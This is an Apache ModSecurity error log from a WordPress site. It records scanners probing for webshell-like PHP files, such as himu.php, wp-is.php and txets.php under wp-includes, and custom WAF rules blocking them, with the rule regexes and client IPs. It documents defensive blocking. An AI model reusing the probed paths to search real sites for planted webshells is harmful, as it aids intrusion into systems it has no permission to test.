[Fri Apr 03 01:40:02.945495 2026] [:error] [pid 25010:tid 25356] [client 20.215.208.34:63476] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6p8o_KcjFQF5TuqTWtsgAAAAg"]
[Fri Apr 03 01:40:03.456662 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:63366] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6p84_KcjFQF5TuqTWttQAAABA"]
[Fri Apr 03 01:40:03.996603 2026] [:error] [pid 25470:tid 25479] [client 20.215.208.34:65013] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6p83hROcck6_9HYygfUgAAAMc"]
[Fri Apr 03 01:40:04.566863 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:64941] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6p9HhROcck6_9HYygfVwAAANU"]
[Fri Apr 03 01:40:05.382976 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:64945] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6p9Y_KcjFQF5TuqTWtvAAAAAA"]
[Fri Apr 03 01:40:05.898775 2026] [:error] [pid 25018:tid 25437] [client 20.215.208.34:59906] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6p9XupR6lXnAUzFGr7NAAAAFg"]
[Fri Apr 03 01:40:06.515255 2026] [:error] [pid 25035:tid 25465] [client 20.215.208.34:63396] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6p9hhR292toNOkLqG6VwAAAJc"]
[Fri Apr 03 01:40:07.038098 2026] [:error] [pid 25035:tid 25457] [client 20.215.208.34:59930] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6p9xhR292toNOkLqG6WQAAAI8"]
[Fri Apr 03 01:40:07.733799 2026] [:error] [pid 25470:tid 25479] [client 20.215.208.34:61908] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6p93hROcck6_9HYygfcgAAAMc"]
[Fri Apr 03 01:40:08.276144 2026] [:error] [pid 25018:tid 25435] [client 20.215.208.34:60609] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6p-HupR6lXnAUzFGr7OgAAAFY"]
[Fri Apr 03 01:40:09.086515 2026] [:error] [pid 25035:tid 25456] [client 20.215.208.34:64949] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6p-RhR292toNOkLqG6ZAAAAI4"]
[Fri Apr 03 01:40:09.713899 2026] [:error] [pid 25035:tid 25455] [client 20.215.208.34:59905] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6p-RhR292toNOkLqG6ZwAAAI0"]
[Fri Apr 03 01:40:10.233279 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:63466] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6p-nhROcck6_9HYygfeQAAANI"]
[Fri Apr 03 01:40:10.774096 2026] [:error] [pid 25018:tid 25433] [client 20.215.208.34:63363] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6p-nupR6lXnAUzFGr7RAAAAFQ"]
[Fri Apr 03 01:40:11.296300 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:58738] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6p-3hROcck6_9HYygffwAAANQ"]
[Fri Apr 03 01:40:11.823637 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:61860] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6p-3hROcck6_9HYygfggAAAMQ"]
[Fri Apr 03 01:40:12.356105 2026] [:error] [pid 25010:tid 25372] [client 20.215.208.34:63440] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6p_I_KcjFQF5TuqTWtyAAAABc"]
[Fri Apr 03 01:40:12.879436 2026] [:error] [pid 25018:tid 25430] [client 20.215.208.34:63448] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6p_HupR6lXnAUzFGr7SwAAAFE"]
[Fri Apr 03 01:40:13.437507 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:59512] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6p_XhROcck6_9HYygfigAAANU"]
[Fri Apr 03 01:40:13.981263 2026] [:error] [pid 25018:tid 25420] [client 20.215.208.34:60558] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6p_XupR6lXnAUzFGr7UQAAAEc"]
[Fri Apr 03 01:40:14.500731 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:64917] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6p_nhROcck6_9HYygfngAAAMg"]
[Fri Apr 03 01:40:15.055432 2026] [:error] [pid 25018:tid 25434] [client 20.215.208.34:61918] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6p_3upR6lXnAUzFGr7VQAAAFU"]
[Fri Apr 03 01:40:15.615117 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:60547] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6p_3hROcck6_9HYygfsAAAAM4"]
[Fri Apr 03 01:40:16.143145 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:59946] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6qAHhROcck6_9HYygftgAAANg"]
[Fri Apr 03 01:40:16.739329 2026] [:error] [pid 25035:tid 25458] [client 20.215.208.34:64999] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6qABhR292toNOkLqG6dwAAAJA"]
[Fri Apr 03 01:40:17.380045 2026] [:error] [pid 25035:tid 25452] [client 20.215.208.34:59997] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6qARhR292toNOkLqG6fQAAAIo"]
[Fri Apr 03 01:40:18.063368 2026] [:error] [pid 25018:tid 25417] [client 20.215.208.34:60567] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6qAnupR6lXnAUzFGr7XwAAAEQ"]
[Fri Apr 03 01:40:18.840991 2026] [:error] [pid 25470:tid 25494] [client 20.215.208.34:63459] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6qAnhROcck6_9HYygfvwAAANY"]
[Fri Apr 03 01:40:19.413116 2026] [:error] [pid 25018:tid 25425] [client 20.215.208.34:59987] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6qA3upR6lXnAUzFGr7YwAAAEw"]
[Fri Apr 03 01:40:19.948547 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:59393] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6qA3hROcck6_9HYygfyQAAAM4"]
[Fri Apr 03 01:40:20.475908 2026] [:error] [pid 25018:tid 25424] [client 20.215.208.34:60625] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6qBHupR6lXnAUzFGr7ZwAAAEs"]
[Fri Apr 03 01:40:21.272050 2026] [:error] [pid 25470:tid 25489] [client 20.215.208.34:64992] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6qBXhROcck6_9HYygfzwAAANE"]
[Fri Apr 03 01:40:21.943960 2026] [:error] [pid 25010:tid 25348] [client 20.215.208.34:59460] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6qBY_KcjFQF5TuqTWt3gAAAAE"]
[Fri Apr 03 01:40:22.492232 2026] [:error] [pid 25018:tid 25417] [client 20.215.208.34:59985] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6qBnupR6lXnAUzFGr7aQAAAEQ"]
[Fri Apr 03 01:40:23.285804 2026] [:error] [pid 25010:tid 25352] [client 20.215.208.34:63376] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6qB4_KcjFQF5TuqTWt4wAAAAQ"]
[Fri Apr 03 01:40:23.940202 2026] [:error] [pid 25010:tid 25353] [client 20.215.208.34:60577] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6qB4_KcjFQF5TuqTWt6QAAAAU"]
[Fri Apr 03 01:40:24.461663 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:60017] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6qCHhROcck6_9HYygf1wAAANg"]
[Fri Apr 03 01:40:25.029162 2026] [:error] [pid 25470:tid 25475] [client 20.215.208.34:64948] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6qCXhROcck6_9HYygf2QAAAMM"]
[Fri Apr 03 01:40:25.619803 2026] [:error] [pid 25018:tid 25430] [client 20.215.208.34:59973] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6qCXupR6lXnAUzFGr7dwAAAFE"]
[Fri Apr 03 01:40:26.161640 2026] [:error] [pid 25035:tid 25444] [client 20.215.208.34:59924] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6qChhR292toNOkLqG6nwAAAII"]
[Fri Apr 03 01:40:26.796948 2026] [:error] [pid 25035:tid 25451] [client 20.215.208.34:60566] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6qChhR292toNOkLqG6oAAAAIk"]
[Fri Apr 03 01:40:27.791910 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:64952] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6qC3upR6lXnAUzFGr7egAAAE8"]
[Fri Apr 03 01:40:28.313963 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:59435] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6qDBhR292toNOkLqG6pgAAAIs"]
[Fri Apr 03 01:40:28.844395 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:64905] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6qDI_KcjFQF5TuqTWt9wAAABI"]
[Fri Apr 03 02:18:06.963958 2026] [:error] [pid 25010:tid 25362] [client 43.166.132.142:40640] [client 43.166.132.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac6y3o_KcjFQF5TuqTXJwAAAAA0"]
[Fri Apr 03 04:26:10.140105 2026] [:error] [pid 58590:tid 58600] [client 141.94.101.142:36420] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7Q4kze_aEPDM9xEE11ngAAAQg"]
[Fri Apr 03 04:26:10.794907 2026] [:error] [pid 58590:tid 58613] [client 141.94.101.142:36424] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7Q4kze_aEPDM9xEE11pAAAARU"]
[Fri Apr 03 04:26:14.449445 2026] [:error] [pid 58590:tid 58593] [client 141.94.101.142:36432] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7Q5kze_aEPDM9xEE11wgAAAQE"]
[Fri Apr 03 04:26:14.960040 2026] [:error] [pid 22672:tid 22733] [client 141.94.101.142:36436] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7Q5qzrgXkFSOK0fvplmgAAAE4"]
[Fri Apr 03 04:33:34.277454 2026] [:error] [pid 22778:tid 22788] [client 141.94.101.142:55312] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7SnvS-q9hkdFqUjq9SJAAAAMM"]
[Fri Apr 03 04:33:38.166739 2026] [:error] [pid 58590:tid 58593] [client 141.94.101.142:50612] [client 141.94.101.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ac7Sokze_aEPDM9xEE18EAAAAQE"]
[Fri Apr 03 05:35:52.226326 2026] [:error] [pid 22672:tid 22727] [client 45.154.98.56:50387] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac7hOKzrgXkFSOK0fvqFnwAAAEg"]
[Fri Apr 03 05:35:52.720633 2026] [:error] [pid 58590:tid 58594] [client 45.154.98.56:50506] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac7hOEze_aEPDM9xEE24fwAAAQI"]
[Fri Apr 03 05:35:53.209019 2026] [:error] [pid 58590:tid 58593] [client 45.154.98.56:50624] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac7hOUze_aEPDM9xEE24hAAAAQE"]
[Fri Apr 03 05:35:55.627575 2026] [:error] [pid 22672:tid 22721] [client 45.154.98.56:51168] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "ac7hO6zrgXkFSOK0fvqFpAAAAEI"]
